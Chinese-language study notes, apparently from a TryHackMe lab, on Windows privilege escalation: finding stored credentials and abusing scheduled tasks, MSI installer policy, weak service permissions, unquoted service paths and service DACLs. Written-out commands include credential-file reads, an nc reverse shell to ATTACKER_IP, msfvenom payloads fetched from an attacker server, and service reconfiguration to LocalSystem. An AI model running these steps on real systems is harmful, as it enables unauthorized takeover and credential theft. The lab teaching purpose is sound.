ROOM
個人覺得 windows 提權比起 linux 還要難
簡而言之,權限升級包括使用「使用者 A」對主機的給定存取權限,並透過濫用目標系統中的弱點來利用它來獲得對「使用者 B」的存取權限。雖然我們通常希望「使用者 B」擁有管理權限,但在某些情況下,我們可能需要升級到其他非特權帳戶,然後才能真正獲得管理權限。
取得對不同帳戶的存取權限就像在某些粗心使用者留下的不安全的文字檔案或電子表格中尋找憑證一樣簡單,但情況並非總是如此。根據具體情況,我們可能需要利用以下一些弱點:
在開始討論實際技術之前,讓我們先了解 Windows 系統上的不同帳戶類型。
Windows系統主要有兩類使用者。根據使用者的存取級別,我們可以將使用者分為以下群組之一:
Administrators | 這些使用者擁有最多的權限。他們可以更改任何系統配置參數並存取系統中的任何檔案。 |
---|---|
Standard Users | 這些用戶可以存取計算機,但只能執行有限的任務。通常,這些使用者無法對系統進行永久或重要的更改,並且僅限於他們的文件。 |
任何具有管理權限的使用者都將成為管理員群組的一部分。另一方面,標準使用者是使用者群組的一部分。
除此之外,您通常會聽到作業系統在權限升級的情況下使用一些特殊的內建帳戶:
系統帳號 | 描述 |
---|---|
SYSTEM / LocalSystem | 作業系統用來執行內部任務的帳號。它可以完全存取主機上可用的所有檔案和資源,並且具有比管理員更高的權限。 |
Local Service | 用於以「最低」權限執行 Windows 服務的預設帳戶。它將使用網路上的匿名連線。 |
Network Service | 用於以「最低」權限執行 Windows 服務的預設帳戶。它將使用電腦憑證透過網路進行身份驗證。 |
這些帳戶由 Windows 建立和管理,您將無法像其他常規帳戶一樣使用它們。不過,在某些情況下,您可能會因為利用特定服務而獲得他們的特權。
獲得其他使用者存取權限的最簡單方法是從受感染的電腦收集憑證。此類憑證的存在可能有多種原因,包括粗心的使用者將其留在明文文件中;甚至由瀏覽器或電子郵件用戶端等軟體儲存。
此任務將介紹一些在 Windows 系統上尋找密碼的已知位置。
在大量主機上安裝 Windows 時,管理員可以使用 Windows 部署服務,該服務允許透過網路將單一作業系統映像部署到多台主機。此類安裝稱為無人值守安裝,因為它們不需要使用者互動。此類安裝需要使用管理員帳戶來執行初始設置,該設置最終可能儲存在電腦中的以下位置:
作為這些文件的一部分,您可能會遇到憑證:
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
每當使用者使用 Powershell 運行命令時,它都會儲存到一個檔案中,該檔案會保留過去的命令。這對於快速重複之前使用過的命令很有用。如果使用者直接在 Powershell 命令列中執行包含密碼的命令,則稍後可以在 cmd.exe 提示字元下使用下列命令來擷取該密碼:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
注意:上面的命令只能在 cmd.exe 中執行,因為 Powershell 不會將 %userprofile%
識別為環境變數。要從 Powershell 讀取文件,您必須將 userprofile%
替換為 ``$Env:userprofile` 。
Windows 允許我們使用其他使用者的憑證。此功能還提供了將這些憑證保存在系統上的選項。下面的命令將列出已儲存的憑證:
cmdkey /list
雖然您看不到實際的密碼,但如果您發現任何值得嘗試的憑證,則可以將它們與 runas
命令和 /savecred
選項一起使用,如下所示。
runas /savecred /user:admin cmd.exe
Internet 資訊服務 (IIS) 是 Windows 安裝上的預設 Web 伺服器。 IIS 上網站的設定儲存在名為 web.config
的檔案中,並且可以儲存資料庫的密碼或設定的驗證機制。根據安裝的 IIS 版本,我們可以在以下位置之一找到 web.config:
這是在文件上尋找資料庫連接字串的快速方法:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
PuTTY 是 Windows 系統上常見的 SSH 用戶端。使用者不必每次都指定連線參數,而是可以儲存會話,其中可以儲存 IP、使用者和其他配置以供以後使用。雖然 PuTTY 不允許使用者儲存其 SSH 密碼,但它將儲存包含明文驗證憑證的代理設定。
若要檢索儲存的代理憑證,您可以使用下列命令在下列登錄機碼下搜尋 ProxyPassword:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
注意:Simon Tatham 是 PuTTY 的創建者(他的名字是路徑的一部分),而不是我們要檢索密碼的使用者名稱。運行上述命令後,儲存的代理用戶名也應該可見。
就像 putty 儲存憑證一樣,任何儲存密碼的軟體,包括瀏覽器、電子郵件用戶端、FTP 用戶端、SSH 用戶端、VNC 軟體等,都將有方法恢復使用者保存的任何密碼。
權限升級並不總是一個挑戰。某些錯誤配置可能會讓您獲得更高特權的使用者存取權限,在某些情況下甚至可以獲得管理員存取權限。如果您認為這些更多地屬於 CTF 事件領域,而不是您在實際滲透測試過程中遇到的場景,這將會有所幫助。但是,如果前面提到的方法都不起作用,您可以隨時返回這些方法。
查看目標系統上的排程任務,您可能會看到排程任務遺失了其二進位檔案或正在使用您可以修改的二進位檔案。
可以使用不帶任何選項的 schtasks
命令從命令列列出排程任務。要檢索有關任何服務的詳細信息,您可以使用以下命令:
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1
您將獲得有關該任務的大量信息,但對我們來說重要的是“要運行的任務”參數,該參數指示計劃任務執行的內容,以及"Run As User"參數,該參數顯示將使用的使用者執行任務。
如果我們目前的使用者可以修改或覆寫「Task to Run」可執行文件,我們就可以控制 taskusr1 使用者執行的內容,從而實現簡單的權限提升。要檢查可執行檔的檔案權限,我們使用 icacls
:
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
從結果可以看出,BUILTIN\Users 群組對任務的二進位檔案具有完全存取權限 (F)。這意味著我們可以修改 .bat 檔案並插入我們喜歡的任何有效負載。為了您的方便,可以在 C:\tools
上找到 nc64.exe
。讓我們更改 bat 檔案以產生反向 shell:
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
然後,我們在攻擊者機器上啟動一個偵聽器,該偵聽器位於我們在反向 shell 上指示的相同連接埠上:
nc -lvp 4444
下次執行排程任務時,您應該會收到具有taskusr1權限的反向shell。雖然您可能無法在實際場景中啟動任務,而必須等待排程任務觸發,但我們為您的使用者提供了手動啟動任務的權限,以節省您的時間。我們可以使用以下命令來執行該任務:
C:\> schtasks /run /tn vulntask
您將按預期收到具有taskusr1權限的反向shell:
user@attackerpc$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\taskusr1
Windows 安裝程式檔案(也稱為 .msi 檔案)用於在系統上安裝應用程式。它們通常以啟動它的用戶的權限級別運行。但是,可以將它們配置為從任何使用者帳戶(甚至是非特權帳戶)以更高的權限運行。這可能會讓我們產生一個以管理員權限執行的惡意 MSI 檔案。
此方法需要設定兩個註冊表值。您可以使用以下命令從命令列查詢這些內容。
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
為了能夠利用此漏洞,兩者都應該設定。否則,利用將是不可能的。如果設定了這些,您可以使用 msfvenom
產生惡意 .msi 文件,如下所示:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
由於這是一個反向 shell,您還應該執行相應配置的 Metasploit 處理程序模組。傳輸已建立的檔案後,您可以使用以下命令執行安裝程式並接收反向 shell:
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Windows 服務由服務控制管理員 (SCM) 管理。 SCM 是一個負責根據需要管理服務狀態、檢查任何給定服務的當前狀態並通常提供配置服務的方法的進程。
Windows 電腦上的每個服務都有一個關聯的可執行文件,每當服務啟動時,SCM 都會執行該執行檔。需要注意的是,服務可執行檔實現特殊功能以便能夠與 SCM 通信,因此任何可執行檔都不能作為服務成功啟動。每個服務也指定該服務將在其下運行的使用者帳戶。
為了更好地理解服務的結構,讓我們使用 sc qc
命令來檢查 apphostsvc 服務配置:
C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: apphostsvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Application Host Helper Service
DEPENDENCIES :
SERVICE_START_NAME : localSystem
在這裡我們可以看到關聯的可執行檔是透過 BINARY_PATH_NAME 參數指定的,用於執行服務的帳戶顯示在 SERVICE_START_NAME 參數上。
服務具有自主存取控制清單 (DACL),它指示誰有權啟動、停止、暫停、查詢狀態、查詢配置或重新配置服務以及其他權限。 DACL 可以從 Process Hacker 中看到(可以在您的電腦桌面上找到):
所有服務配置都儲存在登錄中的 HKLM\SYSTEM\CurrentControlSet\Services\
下:
系統中的每個服務都存在一個子項。同樣,我們可以在 ImagePath 值上看到關聯的可執行文件,並在 ObjectName 值上看到用於啟動服務的帳戶。如果已為該服務配置了 DACL,它將儲存在名為 Security 的子項目中。正如您現在已經猜到的,預設只有管理員可以修改此類註冊表項。
如果與服務關聯的可執行檔案的權限較弱,允許攻擊者修改或取代它,則攻擊者可以輕鬆獲得該服務帳戶的權限。
為了了解其工作原理,讓我們來看看 Splinterware System Scheduler 上發現的漏洞。首先,我們將使用 sc
查詢服務配置:
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1
我們可以看到漏洞軟體安裝的服務以 svcuser1 身分運行,與該服務關聯的可執行檔位於 C:\Progra~2\System~1\WService.exe
中。然後我們繼續檢查可執行檔的權限:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
這裡有一些有趣的事情。 Everyone 群組對服務的執行檔具有修改權限 (M)。這意味著我們可以簡單地用我們偏好的任何有效負載覆蓋它,並且該服務將使用配置的使用者帳戶的權限執行它。
讓我們使用 msfvenom 產生一個 exe-service 負載並透過 python Web 伺服器提供它:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
然後我們可以使用以下命令從 Powershell 中提取有效負載:
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
一旦有效負載位於 Windows 伺服器中,我們就繼續以有效負載取代服務可執行檔。由於我們需要另一個使用者來執行我們的有效負載,因此我們也希望向Everyone群組授予完全權限:
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.
我們在攻擊者機器上啟動一個反向偵聽器:
user@attackerpc$ nc -lvp 4445
最後,重新啟動服務。雖然在正常情況下,您可能需要等待服務重新啟動,但您已被指派了自行重新啟動服務的權限,以節省一些時間。從 cmd.exe 命令提示字元使用以下命令:
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler
注意:PowerShell 將 sc
作為 Set-Content
的別名,因此您需要使用 sc.exe
才能以這種方式使用 PowerShell 控制服務。
結果,您將獲得具有 svcusr1 權限的反向 shell:
user@attackerpc$ nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\svcusr1
當我們無法像以前一樣直接寫入服務可執行檔時,仍然有機會透過使用相當模糊的功能來強制服務來執行任意可執行檔。
使用 Windows 服務時,當服務配置為指向「未加引號」的可執行檔時,會出現非常特殊的行為。不加引號是指未正確引用關聯可執行檔的路徑以解決指令中的空格問題。
作為範例,讓我們來看看兩個服務之間的差異(這些服務僅用作範例,可能在您的電腦中不可用)。第一個服務將使用正確的引用,以便 SCM 毫無疑問地知道它必須執行 "C:\Program Files\RealVNC\VNC Server\vncserver.exe"
指向的二進位文件,後面跟著給定的參數:
C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: vncserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VNC Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
請記住:PowerShell 將“sc”作為“Set-Content”的別名,因此,如果您處於 PowerShell 提示字元中,則需要使用“sc.exe”來控制服務。
現在讓我們看看另一個沒有正確報價的服務:
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2
當 SCM 嘗試執行關聯的二進位檔案時,就會出現問題。由於「Disk Sorter Enterprise」資料夾的名稱上有空格,因此該命令變得不明確,並且 SCM 不知道您正在嘗試執行以下哪一個:
Command | Argument 1 | Argument 2 |
---|---|---|
C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
這與命令提示字元如何解析命令有關。通常,當您發送命令時,空格將用作參數分隔符,除非它們是帶有引號的字串的一部分。這意味著未加引號的命令的“正確”解釋是執行C:\\MyPrograms\\Disk.exe
並將其餘命令作為參數。
SCM 沒有像它可能應該發生的那樣失敗,而是嘗試幫助使用者並開始按照表中所示的順序搜尋每個二進位檔案:
C:\\MyPrograms\\Disk.exe
.如果存在,該服務將運行此可執行檔。C:\\MyPrograms\\Disk Sorter.exe
.如果存在,該服務將運行此可執行檔。C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe
.此選項預計會成功,並且通常會在預設安裝中運行。雖然這聽起來微不足道,但大多數服務可執行檔將在預設情況下安裝C:\Program Files
,C:\Program Files (x86)
非特權使用者無法寫入。這可以防止任何易受攻擊的服務被利用。此規則也有例外: - 某些安裝程式會變更已安裝資料夾的權限,使服務容易受到攻擊。 - 管理員可能決定將服務二進位安裝在非預設路徑中。如果這樣的路徑是全域可寫入的,則該漏洞可以被利用。
在我們的例子中,管理員在c:\MyPrograms
.預設情況下,這會繼承目錄的權限C:\
,允許任何使用者在其中建立檔案和資料夾。我們可以使用以下方法檢查這一點icacls
:
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
此BUILTIN\\Users
群組具有AD和WD權限,允許使用者分別建立子目錄和檔案。
使用 msfvenom 建立 exe-service Payload 並將其傳輸到目標主機的過程與先前相同,因此請像以前一樣建立以下 Payload 並將其上傳到伺服器。我們也會啟動一個偵聽器來接收反向 shell 執行時的情況:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe
user@attackerpc$ nc -lvp 4446
一旦有效負載進入伺服器,請將其移至可能發生劫持的任何位置。在這種情況下,我們將把有效負載移動到C:\MyPrograms\Disk.exe
.我們還將授予每個人對該文件的完全權限,以確保該服務可以執行該文件:
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Successfully processed 1 files.
服務重新啟動後,您的有效負載應該執行:
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"
結果,您將獲得具有 svcusr2 權限的反向 shell:
user@attackerpc$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\svcusr2
如果服務的可執行 DACL 配置良好,並且正確引用了服務的二進位路徑,那麼您仍然有機會利用該服務。如果服務 DACL (不是服務的可執行DACL)允許您修改服務的配置,您將能夠重新配置該服務。這將允許您指向所需的任何可執行檔並使用您喜歡的任何帳戶運行它,包括 SYSTEM 本身。
若要從命令列檢查服務 DACL,您可以使用Sysinternals 套件中的Accesschk 。為了您的方便,可從以下網址取得副本C:\\tools
。檢查 thmservice 服務DACL的指令是:
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
在這裡我們可以看到該BUILTIN\\Users
群組具有 SERVICE_ALL_ACCESS 權限,這表示任何使用者都可以重新配置服務。
在更改服務之前,讓我們建立另一個 exe-service 反向 shell,並在攻擊者的電腦上啟動它的偵聽器:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe
user@attackerpc$ nc -lvp 4447
然後,我們將反向 shell 可執行檔傳輸到目標機器並將其儲存在C:\Users\thm-unpriv\rev-svc3.exe
.請隨意使用 wget 傳輸您的可執行檔並將其移動到所需的位置。請記住授予每個人執行您的有效負載的權限:
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
若要變更服務關聯的可執行檔和帳戶,我們可以使用下列指令(使用 sc.exe 時請注意等號後面的空格):
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
請注意,我們可以使用任何帳戶來運行該服務。我們選擇 LocalSystem,因為它是可用的最高特權帳戶。要觸發我們的有效負載,剩下的就是重新啟動服務:
C:\> sc stop THMService
C:\> sc start THMService
我們將在攻擊者的機器上收到一個具有系統權限的 shell:
user@attackerpc$ nc -lvp 4447
Listening on 0.0.0.0 4447
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
NT AUTHORITY\SYSTEM
(未完成)